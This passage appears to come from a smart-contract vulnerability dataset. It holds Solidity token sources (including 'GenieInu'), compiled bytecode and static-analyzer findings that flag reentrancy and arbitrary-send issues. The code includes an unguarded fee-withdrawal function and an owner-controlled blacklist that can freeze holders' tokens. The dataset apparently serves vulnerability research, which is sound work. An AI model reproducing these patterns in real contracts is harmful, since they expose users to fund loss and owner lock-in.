_initialLimitDuration = _launchTime + (1 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 15, "not larger than 15%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = true; } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103ba578063cf0848f7146103cf578063cf9d4afa146103ef578063dd62ed3e1461040f578063e6ec64ec14610455578063f2fde38b1461047557600080fd5b8063715018a61461031d5780638da5cb5b1461033257806390d49b9d1461035a57806395d89b4114610172578063a9059cbb1461037a578063b515566a1461039a57600080fd5b806331c2d8471161010857806331c2d847146102365780633bbac57914610256578063437823ec1461028f578063476343ee146102af5780635342acb4146102c457806370a08231146102fd57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101ad57806318160ddd146101dd57806323b872dd14610202578063313ce5671461022257600080fd5b3661015657005b600080fd5b34801561016757600080fd5b50610170610495565b005b34801561017e57600080fd5b50604080518082018252600381526241434560e81b602082015290516101a491906117ce565b60405180910390f35b3480156101b957600080fd5b506101cd6101c8366004611848565b6104e1565b60405190151581526020016101a4565b3480156101e957600080fd5b50678ac7230489e800005b6040519081526020016101a4565b34801561020e57600080fd5b506101cd61021d366004611874565b6104f8565b34801561022e57600080fd5b5060096101f4565b34801561024257600080fd5b506101706102513660046118cb565b610561565b34801561026257600080fd5b506101cd610271366004611990565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561029b57600080fd5b506101706102aa366004611990565b6105f7565b3480156102bb57600080fd5b50610170610645565b3480156102d057600080fd5b506101cd6102df366004611990565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030957600080fd5b506101f4610318366004611990565b61067f565b34801561032957600080fd5b506101706106a1565b34801561033e57600080fd5b506000546040516001600160a01b0390911681526020016101a4565b34801561036657600080fd5b50610170610375366004611990565b6106d7565b34801561038657600080fd5b506101cd610395366004611848565b610751565b3480156103a657600080fd5b506101706103b53660046118cb565b61075e565b3480156103c657600080fd5b506101706107f0565b3480156103db57600080fd5b506101706103ea366004611990565b6108a7565b3480156103fb57600080fd5b5061017061040a366004611990565b6108f2565b34801561041b57600080fd5b506101f461042a3660046119ad565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046157600080fd5b506101706104703660046119e6565b610b4d565b34801561048157600080fd5b50610170610490366004611990565b610bc3565b6000546001600160a01b031633146104c85760405162461bcd60e51b81526004016104bf906119ff565b60405180910390fd5b60006104d33061067f565b90506104de81610c5b565b50565b60006104ee338484610dd5565b5060015b92915050565b6000610505848484610ef9565b610557843361055285604051806060016040528060288152602001611b7a602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906112b7565b610dd5565b5060019392505050565b6000546001600160a01b0316331461058b5760405162461bcd60e51b81526004016104bf906119ff565b60005b81518110156105f3576000600560008484815181106105af576105af611a34565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105eb81611a60565b91505061058e565b5050565b6000546001600160a01b031633146106215760405162461bcd60e51b81526004016104bf906119ff565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f3573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f2906112f1565b6000546001600160a01b031633146106cb5760405162461bcd60e51b81526004016104bf906119ff565b6106d56000611375565b565b6000546001600160a01b031633146107015760405162461bcd60e51b81526004016104bf906119ff565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104ee338484610ef9565b6000546001600160a01b031633146107885760405162461bcd60e51b81526004016104bf906119ff565b60005b81518110156105f3576001600560008484815181106107ac576107ac611a34565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107e881611a60565b91505061078b565b6000546001600160a01b0316331461081a5760405162461bcd60e51b81526004016104bf906119ff565b600c54600160a01b900460ff1661087e5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104bf565b600c805460ff60b81b1916600160b81b17905542600d8190556108a290603c611a7b565b600e55565b6000546001600160a01b031633146108d15760405162461bcd60e51b81526004016104bf906119ff565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b0316331461091c5760405162461bcd60e51b81526004016104bf906119ff565b600c54600160a01b900460ff16156109845760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104bf565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ff9190611a93565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a709190611a93565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610abd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae19190611a93565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610b775760405162461bcd60e51b81526004016104bf906119ff565b600f811115610bbe5760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104bf565b600855565b6000546001600160a01b03163314610bed5760405162461bcd60e51b81526004016104bf906119ff565b6001600160a01b038116610c525760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104bf565b6104de81611375565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ca357610ca3611a34565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d209190611a93565b81600181518110610d3357610d33611a34565b6001600160a01b039283166020918202929092010152600b54610d599130911684610dd5565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d92908590600090869030904290600401611ab0565b600060405180830381600087803b158015610dac57600080fd5b505af1158015610dc0573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e375760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104bf565b6001600160a01b038216610e985760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104bf565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f5d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104bf565b6001600160a01b038216610fbf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104bf565b600081116110215760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104bf565b6001600160a01b03831660009081526005602052604090205460ff1615801561106357506001600160a01b03821660009081526005602052604090205460ff16155b61106c57600080fd5b6001600160a01b03831660009081526004602052604081205460ff161580156110ae57506001600160a01b03831660009081526004602052604090205460ff16155b80156110c45750600c54600160a81b900460ff16155b80156110f45750600c546001600160a01b03858116911614806110f45750600c546001600160a01b038481169116145b156112a557600c54600160b81b900460ff166111525760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104bf565b50600c546001906001600160a01b0385811691161480156111815750600b546001600160a01b03848116911614155b801561118e575042600e54115b156111d557600061119e8461067f565b90506111be60646111b8678ac7230489e8000060026113c5565b90611444565b6111c88483611486565b11156111d357600080fd5b505b600d54421415611203576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061120e3061067f565b600c54909150600160b01b900460ff161580156112395750600c546001600160a01b03868116911614155b156112a35780156112a357600c5461126d906064906111b890600f90611267906001600160a01b031661067f565b906113c5565b81111561129a57600c54611297906064906111b890600f90611267906001600160a01b031661067f565b90505b6112a381610c5b565b505b6112b1848484846114e5565b50505050565b600081848411156112db5760405162461bcd60e51b81526004016104bf91906117ce565b5060006112e88486611b21565b95945050505050565b60006006548211156113585760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104bf565b60006113626115e8565b905061136e8382611444565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826113d4575060006104f2565b60006113e08385611b38565b9050826113ed8583611b57565b1461136e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104bf565b600061136e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061160b565b6000806114938385611a7b565b90508381101561136e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104bf565b80806114f3576114f3611639565b60008060008061150287611655565b6001600160a01b038d166000908152600160205260409020549397509195509350915061152f908561169c565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461155e9084611486565b6001600160a01b038916600090815260016020526040902055611580816116de565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115c591815260200190565b60405180910390a350505050806115e1576115e1600954600855565b5050505050565b60008060006115f5611728565b90925090506116048282611444565b9250505090565b6000818361162c5760405162461bcd60e51b81526004016104bf91906117ce565b5060006112e88486611b57565b60006008541161164857600080fd5b6008805460095560009055565b60008060008060008061166a87600854611768565b9150915060006116786115e8565b90506000806116888a8585611795565b909b909a5094985092965092945050505050565b600061136e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112b7565b60006116e86115e8565b905060006116f683836113c5565b306000908152600160205260409020549091506117139082611486565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006117438282611444565b82101561175f57505060065492678ac7230489e8000092509050565b90939092509050565b6000808061177b60646111b887876113c5565b90506000611789868361169c565b96919550909350505050565b600080806117a386856113c5565b905060006117b186866113c5565b905060006117bf838361169c565b92989297509195505050505050565b600060208083528351808285015260005b818110156117fb578581018301518582016040015282016117df565b8181111561180d576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104de57600080fd5b803561184381611823565b919050565b6000806040838503121561185b57600080fd5b823561186681611823565b946020939093013593505050565b60008060006060848603121561188957600080fd5b833561189481611823565b925060208401356118a481611823565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156118de57600080fd5b823567ffffffffffffffff808211156118f657600080fd5b818501915085601f83011261190a57600080fd5b81358181111561191c5761191c6118b5565b8060051b604051601f19603f83011681018181108582111715611941576119416118b5565b60405291825284820192508381018501918883111561195f57600080fd5b938501935b828510156119845761197585611838565b84529385019392850192611964565b98975050505050505050565b6000602082840312156119a257600080fd5b813561136e81611823565b600080604083850312156119c057600080fd5b82356119cb81611823565b915060208301356119db81611823565b809150509250929050565b6000602082840312156119f857600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611a7457611a74611a4a565b5060010190565b60008219821115611a8e57611a8e611a4a565b500190565b600060208284031215611aa557600080fd5b815161136e81611823565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b005784516001600160a01b031683529383019391830191600101611adb565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611b3357611b33611a4a565b500390565b6000816000190483118215151615611b5257611b52611a4a565b500290565b600082611b7457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203f26fcc16699eef5d17eaeea1fa55be2a5987f19b54ec918ae19583a3c20bf6b64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,021
0x512e089beca223a85770e85fdc8ebf288b005f4c
/** *Submitted for verification at Etherscan.io on 2022-04-16 */ /** GenieInu Are you ready to joined the GENIE INU adventure? ✅Website: http://genieinu.com/ */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GenieInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 666666666 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "GenieInu"; string private constant _symbol = "GenieInu"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x6AFEfc21C53C3C0de30254592bff50D3Db129b3e); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 6666666 * 10**9; _maxWalletSize = 15000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612713565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127dd565b6104b4565b60405161018e9190612838565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612862565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129c5565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a0e565b61060c565b60405161021f9190612838565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a61565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190612aaa565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612af1565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b1e565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a61565b6109db565b6040516103199190612862565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612b5a565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612713565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127dd565b610c9a565b6040516103da9190612838565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b1e565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b75565b611328565b60405161046e9190612862565b60405180910390f35b60606040518060400160405280600881526020017f47656e6965496e75000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113af565b84846113b7565b6001905092915050565b600067094079ccf2862400905090565b6104ea6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612c01565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b612c21565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060090612c7f565b91505061057a565b5050565b6000610619848484611580565b6106da846106256113af565b6106d5856040518060600160405280602881526020016136b660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b6113af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c119092919063ffffffff16565b6113b7565b600190509392505050565b6106ed6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612c01565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e66113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612c01565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108986113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612c01565b60405180910390fd5b6000811161093257600080fd5b61096060646109528367094079ccf2862400611c7590919063ffffffff16565b611cef90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa6113af565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611d39565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da5565b9050919050565b610a346113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612c01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b876113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612c01565b60405180910390fd5b67094079ccf2862400600f8190555067094079ccf2862400601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f47656e6965496e75000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca76113af565b8484611580565b6001905092915050565b610cc06113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffff